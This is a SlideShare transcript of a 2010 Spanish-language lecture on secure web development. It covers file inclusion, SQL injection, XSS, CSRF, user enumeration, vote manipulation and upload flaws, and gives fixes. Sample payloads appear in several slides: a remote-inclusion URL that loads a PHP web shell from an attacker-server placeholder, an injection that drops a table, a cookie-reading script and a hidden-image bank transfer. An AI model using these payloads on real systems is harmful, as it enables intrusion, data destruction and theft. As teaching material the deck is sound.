0
Desarrollo web Seguro
Martín Aberastegue
29 de Octubre de 2010
Programación 4
Amenazas mas comunes
• Inclusión Remota/Local de archivos (RFI/LFI)
• SQL Injection
• Cross Site Scripting (XSS)
• Cross-S...
Remote/Local file inclusion
Este tipo de vulnerabilidades permite a un atacan incluir archivos arbitrariamente, tanto loca...
Remote/Local file inclusion
• Banco Patagonia
– RRHH con más de 30,000 postulantes
– Demoraron 11 meses en repararlo
SQL Injection
• Ejemplo:
• El pequeño Bobby Tables
La inyección de código SQL es una vulnerabilidad que consiste en el apr...
SQL Injection
• Pasa en las mejores familias… o bancos
SQL Injection & XSS en RedLink (Home Banking)
Afecto a 33 entidades...
SQL Injection
• Pasa en las mejores familias… o bancos
SQL Injection & datos por defecto en admin del CMS de Banco XXXX (2...
Cross Site Scripting (XSS)
Es un error que consiste en la falta de validación por parte de la aplicación de los valores pa...
Cross Site Scripting (XSS)
Cross Site Scripting (XSS)
Cross-Site Request Forgery (CSRF)
POST http://banco.com.ar/transferir.php HTTP/1.1
...
...
Content-Length: 24;
destino=Car...
Enumeración de Usuarios
El usuario no existe El usuario existe
Sistemas de Votaciones
• Big Idea Chair (Yahoo!)
Solos realiza control por cookie.
http://www.bigideachair.com.ar/shortlis...
Subida de Archivos
Aquí el problema radica en que muchas veces no se aplican buenos filtros a los archivos a subir, tanto
...
Consejos
• ¡Las claves no se guardan en texto plano!
• Enviar información sensible cifrada
• Utilizar tokens asociados a l...
¿Preguntas?
¡Muchas Gracias!
Martín Aberastegue
xyborg@gmail.com
http://www.martinaberastegue.com
Upcoming SlideShare
Loading in...5
×

Desarrollo Web Seguro - Seguridad en Programación

824

Published on

Presentación de mi charla dictada en La Metro | Escuela de Diseño y Comunicación Audiovisual, en la carrera de Diseño Interactivo.

Published in: Software
0 Comments
0 Likes
Statistics
Notes
  • Be the first to comment

  • Be the first to like this

No Downloads
Views
Total Views
824
On Slideshare
0
From Embeds
0
Number of Embeds
0
Actions
Shares
0
Downloads
44
Comments
0
Likes
0
Embeds 0
No embeds

No notes for slide

Transcript of "Desarrollo Web Seguro - Seguridad en Programación"

  1. 1. Desarrollo web Seguro Martín Aberastegue 29 de Octubre de 2010 Programación 4
  2. 2. Amenazas mas comunes • Inclusión Remota/Local de archivos (RFI/LFI) • SQL Injection • Cross Site Scripting (XSS) • Cross-Site Request Forgery (CSRF) • Enumeración de Usuarios • Sistemas de votaciones • Subida de archivos (falta control de extensiones y tipos)
  3. 3. Remote/Local file inclusion Este tipo de vulnerabilidades permite a un atacan incluir archivos arbitrariamente, tanto local como remotamente, debido a la falta de validación de los datos ingresados. index.php <? include($seccion); ?> http://[servidor_victima]/index.php?seccion=http://[servidor_atacante]/shell.txt&&cmd=ls shell.txt <? system($cmd); ?> http://[servidor_victima]/index.php?seccion=contacto.php
  4. 4. Remote/Local file inclusion • Banco Patagonia – RRHH con más de 30,000 postulantes – Demoraron 11 meses en repararlo
  5. 5. SQL Injection • Ejemplo: • El pequeño Bobby Tables La inyección de código SQL es una vulnerabilidad que consiste en el aprovechamiento de la falta de validación y filtrado de las variables utilizadas en una consulta SQL. $query_result = mysql_query("SELECT * FROM usuarios WHERE nombre = '" . $nombre_usuario . "'"); SELECT * FROM usuarios WHERE nombre = 'Jorge'; SELECT * FROM usuarios WHERE nombre = 'Jorge'; DROP TABLE usuarios; SELECT * FROM datos WHERE 'A' = 'A'; $query_result = mysql_query("SELECT * FROM usuarios WHERE nombre = '" . mysql_real_escape_string($nombre_usuario) . "'"); SELECT * FROM usuarios WHERE nombre = 'Alicia';nDROP TABLE usuarios;nSELECT * FROM datos WHERE '-' = '-';
  6. 6. SQL Injection • Pasa en las mejores familias… o bancos SQL Injection & XSS en RedLink (Home Banking) Afecto a 33 entidades bancarias (2004) • Banco Columbia • Banco de Córdoba • Banco de Corrientes • Banco de Formosa • Banco de la Ciudad de Buenos Aires • Banco de la Nación Argentina • Banco de la Pampa • Banco de la Provincia de Buenos Aires • Banco de la Provincia del Neuquén • Banco de San Juan • Banco de Tierra del Fuego • Banco del Chubut • Banco del Tucumán • Banco Finansur • Banco Hipotecario • Banco Industrial • Banco Macro Bansud • Banco Mariva • Banco Municipal de la Plata • Banco Municipal de Rosario • Banco Privado • Banco Sáenz • Banco Santa Cruz • Banco Santiago del Estero • BNP Paribas • Credimas • Italcred • Masventas Cia. Financiera • Nuevo Banco de Entre Rios • Nuevo Banco de La Rioja • Nuevo Banco de Santa Fe • Nuevo Banco del Chaco • Sadela Cia. Financiera
  7. 7. SQL Injection • Pasa en las mejores familias… o bancos SQL Injection & datos por defecto en admin del CMS de Banco XXXX (2007)
  8. 8. Cross Site Scripting (XSS) Es un error que consiste en la falta de validación por parte de la aplicación de los valores pasados a las variables, por lo que si estas son mostradas en pantalla sin ningún tipo de filtro las mismas podrían ejecutar código HTML/JS/etc. Esta vulnerabilidad usualmente es considerada de bajo impacto, pero puede ser muy peligrosa también dependiendo del enfoque del atacante. Una forma de evitar esto es haciendo uso de la función htmlentities() Ejemplo: http://www.victima.com/buscar.php?s=texto+buscado http://www.victima.com/buscar.php?s="><script>alert(document.cookie);<script>
  9. 9. Cross Site Scripting (XSS)
  10. 10. Cross Site Scripting (XSS)
  11. 11. Cross-Site Request Forgery (CSRF) POST http://banco.com.ar/transferir.php HTTP/1.1 ... ... Content-Length: 24; destino=Carlos&monto=500 <img src="http://banco.com.ar/transferir.php?destino=Martin&monto=5000" width="1" height="1" border="0"> GET http://banco.com.ar/transferir.php?destino=Carlos&monto=500 HTTP/1.1 CRSF fue un termino acuñado por Peter Watkins en el año 2001, pero el primer reporte de esta vulnerabilidad se dio a conocer en 2000. La mejor forma de entenderlo es con un ejemplo, y resumiendo esta vulnerabilidad le permitiría a un atacante ejecutar comandos en un sitio determinado (A) cuando la victima ingresa al sitio (B), debido a una falta de comprobación del origen de los datos por parte de (A). Ejemplo: Una forma de tratar de contrarrestar este tipo de ataques es haciendo uso de tokens asociados a la sesión activa del usuario.
  12. 12. Enumeración de Usuarios El usuario no existe El usuario existe
  13. 13. Sistemas de Votaciones • Big Idea Chair (Yahoo!) Solos realiza control por cookie. http://www.bigideachair.com.ar/shortlist2010/shortlist_caso01.php • Hugo Create (Hugo Boss) Control por cookie e IP mal implementado haciendo uso de AJAX. http://www.hugocreate.com/common/php/rpc.php?j=1&q=36119&t=187.219.197.188 Los sistemas de votaciones también suelen ser objetivo de ataques y muchas veces no se realizan buenos controles por lo que los resultados de las mismas podrían ser fácilmente influenciados.
  14. 14. Subida de Archivos Aquí el problema radica en que muchas veces no se aplican buenos filtros a los archivos a subir, tanto en tamaño, tipo o extensión; lo que brinda la posibilidad a un atacante de subir su propio código a nuestro servidor y ejecutarlo pudiendo así ganar acceso a los archivos de nuestro sitio. .htaccess <Files ^(*.jpeg|*.jpg|*.png|*.gif)> order deny,allow deny from all </Files> AddType text/plain .pl AddType text/plain .cgi AddType text/plain .php No permitir la ejecución de archivos donde no se deba. Los casos mas comunes se dan en los sitios que permiten a los usuarios subir sus propias imágenes, avatares o documentos.
  15. 15. Consejos • ¡Las claves no se guardan en texto plano! • Enviar información sensible cifrada • Utilizar tokens asociados a la sesión del usuario • No utilizar nombres de archivos muy obvios en secciones privadas o de acceso restringido. • Usar el sentido común
  16. 16. ¿Preguntas?
  17. 17. ¡Muchas Gracias! Martín Aberastegue xyborg@gmail.com http://www.martinaberastegue.com
  1. A particular slide catching your eye?

    Clipping is a handy way to collect important slides you want to go back to later.

×